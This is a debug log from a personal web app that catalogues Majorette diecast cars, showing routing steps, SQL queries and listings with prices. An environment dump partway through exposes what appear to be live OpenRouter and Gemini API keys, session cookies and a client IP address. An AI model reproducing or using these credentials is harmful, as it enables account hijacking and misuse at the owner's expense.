    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:09:09.885Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:09:09.886Z server-connect:app Executing action step identify
2026-02-04T07:09:09.886Z server-connect:app options: { provider: 'security' }
2026-02-04T07:09:09.886Z server-connect:output identity: 1
2026-02-04T07:09:09.886Z server-connect:app Executing action step restrict
2026-02-04T07:09:09.886Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:09:09.886Z server-connect:output restrict: undefined
2026-02-04T07:09:09.886Z server-connect:app Executing action step paged
2026-02-04T07:09:09.886Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:09:09.888Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    }
  ]
}
2026-02-04T07:09:10.094Z server-connect:router Serving templateView /
2026-02-04T07:09:10.094Z server-connect:app Executing action step identify
2026-02-04T07:09:10.094Z server-connect:app options: { provider: 'security' }
2026-02-04T07:09:10.094Z server-connect:output identity: 1
2026-02-04T07:09:10.094Z server-connect:app Executing action step restrict
2026-02-04T07:09:10.094Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:09:10.095Z server-connect:output restrict: undefined
2026-02-04T07:09:10.095Z server-connect:app Executing action step restrict
2026-02-04T07:09:10.095Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:09:10.095Z server-connect:output restrict: undefined
2026-02-04T07:09:10.095Z server-connect:router Render template layouts/main
2026-02-04T07:09:10.095Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?series=195',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?series=195',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:09:13.251Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:09:13.252Z server-connect:app Executing action step identify
2026-02-04T07:09:13.252Z server-connect:app options: { provider: 'security' }
2026-02-04T07:09:13.252Z server-connect:output identity: 1
2026-02-04T07:09:13.252Z server-connect:app Executing action step restrict
2026-02-04T07:09:13.252Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:09:13.252Z server-connect:output restrict: undefined
2026-02-04T07:09:13.252Z server-connect:app Executing action step paged
2026-02-04T07:09:13.252Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:09:13.254Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini CoutachLP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:09:17.498Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:09:17.499Z server-connect:app Executing action step identify
2026-02-04T07:09:17.499Z server-connect:app options: { provider: 'security' }
2026-02-04T07:09:17.499Z server-connect:output identity: 1
2026-02-04T07:09:17.499Z server-connect:app Executing action step restrict
2026-02-04T07:09:17.499Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:09:17.499Z server-connect:output restrict: undefined
2026-02-04T07:09:17.499Z server-connect:app Executing action step paged
2026-02-04T07:09:17.499Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:09:17.501Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 120,
      model_name: 'Chevrolet Camaro',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Chevrolet',
      vehicle_brand_id: 118,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 119,
      model_name: 'Renault Megane R.S.',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 118,
      model_name: 'Ford GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 117,
      model_name: 'Audi R8 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 116,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Light Racer Gift Set',
      brand_id: 72,
      series_id: 172,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:09:22.267Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:09:22.268Z server-connect:app Executing action step identify
2026-02-04T07:09:22.268Z server-connect:app options: { provider: 'security' }
2026-02-04T07:09:22.268Z server-connect:output identity: 1
2026-02-04T07:09:22.268Z server-connect:app Executing action step restrict
2026-02-04T07:09:22.268Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:09:22.268Z server-connect:output restrict: undefined
2026-02-04T07:09:22.268Z server-connect:app Executing action step paged
2026-02-04T07:09:22.268Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:09:22.270Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 130,
      model_name: 'Dodge Charge R/T',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 129,
      model_name: 'Nissan GT-R Nismo GT3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Nissan',
      vehicle_brand_id: 116,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 128,
      model_name: 'Ford Mustang GT',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 127,
      model_name: 'Mercedes AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 126,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:09:26.430Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:09:26.431Z server-connect:app Executing action step identify
2026-02-04T07:09:26.431Z server-connect:app options: { provider: 'security' }
2026-02-04T07:09:26.431Z server-connect:output identity: 1
2026-02-04T07:09:26.431Z server-connect:app Executing action step restrict
2026-02-04T07:09:26.431Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:09:26.431Z server-connect:output restrict: undefined
2026-02-04T07:09:26.431Z server-connect:app Executing action step paged
2026-02-04T07:09:26.431Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:09:26.433Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
